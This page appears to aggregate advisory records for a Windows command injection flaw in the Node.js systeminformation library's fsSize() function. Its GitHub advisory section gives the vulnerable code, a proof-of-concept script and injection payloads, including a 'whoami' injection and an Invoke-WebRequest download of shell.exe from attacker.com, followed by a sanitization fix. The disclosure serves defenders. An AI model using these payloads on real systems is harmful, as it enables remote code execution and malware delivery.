Command Injection in fsSize() on Windows

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.

Source published

16 Dec 2025 18:18:03 UTC

Source modified

17 Dec 2025 18:50:42 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.

Source published

Dec 16, 2025, 6:18:03 PM (timezone not stated)

Source modified

Dec 17, 2025, 6:50:42 PM (timezone not stated)

Observed here

11 Nov 2026 04:35:16 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.

Source published

16 Dec 2025 19:16:00 UTC

Source modified

30 Sep 2026 23:10:00 UTC

Observed here

25 Oct 2026 04:17:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

## Summary The `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. **Affected Platforms:** Windows only **CVSS Breakdown:** - **Attack Vector (AV:N):** Network - if used in a web application/API - **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()` - **Privileges Required (PR:N):** None - no authentication required at library level - **User Interaction (UI:N):** None - **Scope (S:U):** Unchanged - executes within Node.js process context - **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited > **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. --- ## Details ### Vulnerable Code Location **File:** `lib/filesystem.js`, **Line 197** ```javascript if (_windows) { try { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { ``` The `drive` parameter is concatenated directly into the PowerShell command string without any sanitization. ### Why This Is a Vulnerability This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`: | File | Line | Function | Sanitization | |------|------|----------|--------------| | `lib/processes.js` | 141 | `services()` | ✅ `util.sanitizeShellString(srv)` | | `lib/processes.js` | 1006 | `processLoad()` | ✅ `util.sanitizeShellString(proc)` | | `lib/network.js` | 1253 | `networkStats()` | ✅ `util.sanitizeShellString(iface)` | | `lib/docker.js` | 472 | `dockerContainerStats()` | ✅ `util.sanitizeShellString(containerIDs, true)` | | `lib/filesystem.js` | 197 | `fsSize()` | ❌ **No sanitization** | The `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `&`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection. --- ## PoC ### Attack Scenario An application exposes disk information via an API and passes user input to `si.fsSize()`: ```javascript // Vulnerable application example const si = require('systeminformation'); const http = require('http'); const url = require('url'); http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const drive = parsedUrl.query.drive; // User-controlled input // VULNERABLE: User input passed directly to fsSize() const diskInfo = await si.fsSize(drive); res.end(JSON.stringify(diskInfo)); }).listen(3000); ``` ### Exploitation **Normal Request:** ``` GET /api/disk?drive=C: ``` **Malicious Request (Command Injection):** ``` GET /api/disk?drive=C:;%20whoami%20%23 ``` ### Command Construction Demonstration The following demonstrates how commands are constructed with malicious input: **Normal usage:** ``` Input: "C:" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl ``` **With injection payload `C:; whoami #`:** ``` Input: "C:; whoami #" Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl ↑ ↑ semicolon terminates # comments out rest first command ``` PowerShell will execute: 1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command) 2. `whoami` (injected command) 3. Everything after `#` is commented out ### PoC Script ```javascript /** * Command Injection PoC - systeminformation fsSize() * * Run with: node poc.js * Requires: npm install systeminformation */ const os = require('os'); // Simulates the vulnerable command construction from filesystem.js:197 function simulateVulnerableCommand(drive) { const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; return cmd; } // Test payloads const payloads = [ { name: 'Normal', input: 'C:' }, { name: 'Command Execution', input: 'C:; whoami #' }, { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' }, { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' }, ]; console.log('=== Command Injection PoC ===\n'); console.log(`Platform: ${os.platform()}`); console.log(`Note: Actual exploitation requires Windows\n`); payloads.forEach(p => { console.log(`[${p.name}]`); console.log(` Input: ${p.input}`); console.log(` Command: ${simulateVulnerableCommand(p.input)}\n`); }); ``` ### PoC Output ``` === Command Injection PoC === Platform: win32 Note: Actual exploitation requires Windows [Normal] Input: C: Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl [Command Execution] Input: C:; whoami # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl [Data Exfiltration] Input: C:; Get-Process | Out-File C:\temp\procs.txt # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl [Remote Payload] Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl ``` As shown, the attacker's commands are injected directly into the PowerShell command string. --- ## Impact ### Who Is Affected? - Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)` - Web applications, APIs, or CLI tools that accept drive letters from users - Monitoring dashboards that allow users to specify which drives to query ### Potential Attack Scenarios 1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges 2. **Data Exfiltration** - Read sensitive files and exfiltrate data 3. **Privilege Escalation** - If Node.js runs with elevated privileges 4. **Lateral Movement** - Use the compromised system to attack internal network 5. **Ransomware Deployment** - Download and execute malicious payloads --- ## Recommended Fix Apply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase: ```diff if (_windows) { try { + const driveSanitized = drive ? util.sanitizeShellString(drive, true) : ''; - const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`; + const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`; util.powerShell(cmd).then((stdout, error) => { ``` The `true` parameter enables strict mode which removes additional characters like spaces and parentheses. --- `systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.

Source published

16 Dec 2025 22:37:23 UTC

Source modified

10 Sep 2026 03:50:32 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH